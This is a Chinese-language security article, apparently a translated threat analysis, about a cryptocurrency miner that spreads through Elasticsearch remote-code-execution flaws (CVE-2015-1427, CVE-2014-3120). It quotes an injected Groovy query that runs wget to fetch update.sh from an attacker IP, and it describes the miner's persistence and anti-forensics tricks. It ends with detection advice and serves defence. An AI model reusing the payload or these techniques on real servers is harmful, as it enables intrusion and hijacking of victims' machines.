加密货币挖矿机利用Elasticsearch漏洞进行传播

阅读量    56480 | 评论 3   稿费 130

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。能够达到实时搜索,稳定,可靠,快速,安装和使用方便。

研究人员在含有Elasticsearch搜索引擎的蜜罐系统中检测到挖矿活动。挖矿攻击活动利用了已知的CVE-2015-1427和CVE-2014-3120漏洞。CVE-2015-1427是Groovy脚本引擎漏洞,允许远程攻击者通过构造的脚本来远程执行任意shell命令。CVE-2014-3120是Elasticsearch的默认配置漏洞。目前Elasticsearch已不再支持有漏洞的版本了。

研究人员在运行Elasticsearch的服务器上运行下面的查询命令:

“{“lupin”:{“script”: “java.lang.Math.class.forName(”java.lang.Runtime”).getRuntime().exec(”wget hxxp://69[.]30[.]203[.]170/gLmwDU86r9pM3rXf/update.sh -P
/tmp/sssooo”).getText()”}}}”

相同的攻击系统和攻击主机也使用了相同的命令,该命令也保存着payload。该IP被解析对应的域名为 matrixhazel[.]com,截止目前该IP已经不能访问了。

图 1. GreyNoise将主机标记为已知的扫描器

挖矿机首先调用shell和运行下载的命令传播bash脚本update.sh,命令的输出被设置为/tmp/sssooo文件。使用/tmp文件是因为在大多数系统中默认的限制比较少。

攻击非常简单,对受害者会带来明显的影响。一旦攻击者获取运行任意命令的能力,就可以尝试进行权限提升,甚至转向其他系统来入侵整个网络。

虽然攻击的方法是差不多的,但是payload可能是不同的。比如研究人员分析的样本中,payload就是update.sh。运行后,update.sh脚本会下载两个文件:devtoolsconfig.json。脚本随后会应用加密货币挖矿机。

挖矿机的ELF64二进制文件其实是devtools,用来帮助更好地伪装挖矿机,因为devtools是GitHub上常见的一款工具。挖矿机使用的配置在config.json文件中。

图 2. config.json配置文件

这种方案之前也是被恶意软件广泛使用了,但是封装脚本有许多其他有趣的函数。代码风格与黑客工具非常相似,代码的一部分也出现在Xbash相关的恶意软件中。

 

加密货币挖矿机的应用

挖矿机含有三个文件,可以通过bash中的wget, curlurl命令下载:

图 3. wget, curl, url命令

挖矿机可以下载以下内容:

  • Devtools – 真实的挖矿机
  • Update.sh – 用于下载其他部分的bash脚本
  • Config.json – 挖矿机的配置文件

首先,恶意软件会尝试将这些文件保存在/etc/,如果失败的话,就尝试保存在/tmp目录。研究人员发现在分析的样本中保存在/tmp中是成功的。之后,检查机器中是否有其他挖矿活动。这是假设该设备已经被攻击过了,并尝试从之前的攻击者处去劫持机器。这个过程有可能被用于更新挖矿机到更新的版本。

图 4. 样本中允许挖矿机清除其他已有挖矿机的命令

如果在系统中检测到其他挖矿机,运行的与挖矿机相关的其他进程都会被杀掉。还会重置crontab,这样cron就不会开启其他挖矿机了。

图 5. 系统中其他被杀掉的挖矿机进程

然后挖矿机会把自己加入到crontab中,并每10分钟运行一次。每次运行时,都会用chattr -i先解锁自己,并更新其文件,最后用chattr +i来保护文件来防止文件被低权限的用户所修改或删除。挖矿机还会清除历史记录来防止被追踪,如图8所示。其中有趣的一点是当脚本在root目录运行时,脚本会尝试将自己的SSH key加入到authorized_keys中,这样就可以无密码登陆了。但是命令顺序有问题,导致key刚加入authorized_keys就被移除了。

图 6. 挖矿机的其他功能:组件保护、通过crontab完成驻留、网络流量加密

图 7. 挖矿机修改系统的iptables/firewall

图 8. 挖矿机通过清除历史记录和文件来防止被追踪

 

结论和建议

为了预防利用Elasticsearch已知漏洞的攻击,对系统定期打补丁非常有必要,而且需要对系统进行安全监控。Elasticsearch中注入的命令有一些共同点:

  • 都使用shell来运行命令;
  • 都含有从远程/本地位置下载文件的命令,比如curl, wget, url, ftp/get等;
  • 下载文件到/etc或/tmp目录;
  • 在下载恶意文件的过程中,主机尝试所有下载文件的位置和要在本地系统运行的命令。

检测相关的攻击非常重要,需要通过以下措施:

  • 对Elasticsearch使用记录日志,监控可能被用于命令注入的字符串;
  • 监控系统行为。只有授权的用户和解决方案才能使用shell;
  • 通过相关性对网络流量进行分类。本例中,恶意IP每10分钟被调用一次。这可以被用于进程监控和流量分析中。
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多